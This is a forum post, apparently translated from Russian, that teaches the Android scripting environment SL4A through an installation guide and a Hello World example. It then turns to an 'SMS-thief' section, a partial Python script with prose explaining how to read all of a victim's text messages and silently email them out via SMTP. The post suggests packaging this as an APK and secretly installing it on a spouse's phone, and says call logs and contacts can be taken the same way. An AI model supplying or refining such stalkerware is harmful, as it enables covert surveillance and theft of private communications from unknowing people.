Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked Sсriрting Layer for Android (SL4A)


Guest RaZoR

Recommended Posts

Guest RaZoR

About

 

SL4A is a development environment for mobile phones based on Android. It lets you create, edit and execute scripts in the following languages​​: Python, Perl, JRuby, Lua, BeanShell, JavaScript, Tcl. Also in it implemented API, which provides access to virtually all functions and features of Android, and even allows you to create user interface elements. Thus, we have the ability to write programs for the full respect of the platform in a familiar language.

 

Installation

 

Two steps: First, download and install SL4A, then install the correct version for android scripting language. Download the apk-file on the site of the project. The next item to install, activate in the "Trust unknown sources." After launch, we will see a dark box without any additional information. Call the menu and select View .. Interpreters. In this case, we will only be available Shell - command line, where most of the unix-command. To set the scripting language you are interested, call the menu again, I press Add, and before you appear a list of available languages. Selecting any of them will download the installer apk-file. I am interested in Python, so I chose and installed it. Also, you can download all the necessary files to the project's website, or pick them up from the disk. After installing the application on your phone will be Python for Android, which is running, you will see a single button "Install", by pressing on which, the program will download and extract all the files it needs. Now, if you go back to SL4A, you will find that it appeared some very useful sample scripts in Python. You can now proceed with peace of mind to the fun - coding.

 

12846301.jpg

 

Hello world!

 

Despite the fact that writing Hello World - simple exercise in almost any programming language, I would consider this example with a view to clarify some of the features of the program. Come reenter the list of interpreters (Menu .. View .. Interpreters), there we have to appear Python. Run it, open a familiar command line where you can write print "Hello world" and make sure that everything works.

 

Similarly, you can execute any command, and when enough of - close the terminal command exit () and be ready to drop complicate the present example. Return from the menu shells on the main window, you open the menu, click Add .. Python, and the program will create us a new py-file, which by default will be the following line:

 

>import android
droid = android.Android()

 

Their meaning, I think, is clear: imported module with the functional operation of the system and creates a droid. Now - the most interesting: we can also write in the file print "Hello world", and we can bring hello world in the system alert-box with the API. The code for this is as follows:

 

>import android
droid = android.Android()
# здороваемся обычным способом
h = "hello world"
print h
# здороваемся при помощи API
droid.dialogCreateAlert(h, h)
droid.dialogShow()

 

The output of this program can be seen in the screenshot. DialogCreateAlert has two parameters: the header and the message body. You can also notify the user a quick and short messages makeToast ("Your Message").

 

hello.png

 

SMS-thief

 

I suggest to practice a script that will gather all the SMS hapless users and send them to us on mail:

 

># - * - Coding: utf-8 - * -
import android, smtplib, os
droid = android.Android ()
# Required variables
mailfrom = "where to send"
mailto = "to send"
lines = ""
# Get messages

 

As you can see, the script turned out pretty simple. Let's walk through it and explain the main points.

 

The variables mailfrom and you need to score mailto address boxes, from which you will send and which will accept letters, respectively. Then use the command smsGetMessages () retrieves messages. As a parameter, it is necessary to specify whether to transmit only unread (True), or all messages (False). For the future, I note that this feature is also a second, optional parameter: inbox (default) - from which folder to read the message, in this case - incoming. After performing in the result variable will be written list, which consists of a list of dictionaries. It sounds complicated, so see the code. The first list - result, SMS list contains the first element of it, so in the future, I only work with a list of result [1], in which each element - a dictionary and each dictionary includes SMS, phone number, and message ID. Keys did not much interest, so I extract only the values ​​of each dictionary and write them to a string, which will then be sent by mail. To send mail to the API SL4A a team sendEmail (), but it requires user interaction, which is unlikely to want to be off the incoming SMS is not known to whom. Therefore smtplib connect and send email on their own. You can send this email to yourself or to another box.

 

Where such an example can be useful? Let's say you're a private detective, and another jealous wife asked to find out what her husband wrote the young mistress. This script can be converted to apk-file (more details here), set in the phone negligent husband and wife to the post office will receive all future plans for adultery.

 

Сonclusion

 

Apart sms'sok similar manner by the API (all necessary infa also available on the project website) can vytsepit from the phone call history, contact list and more. All steps are described solely for educational purposes.

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.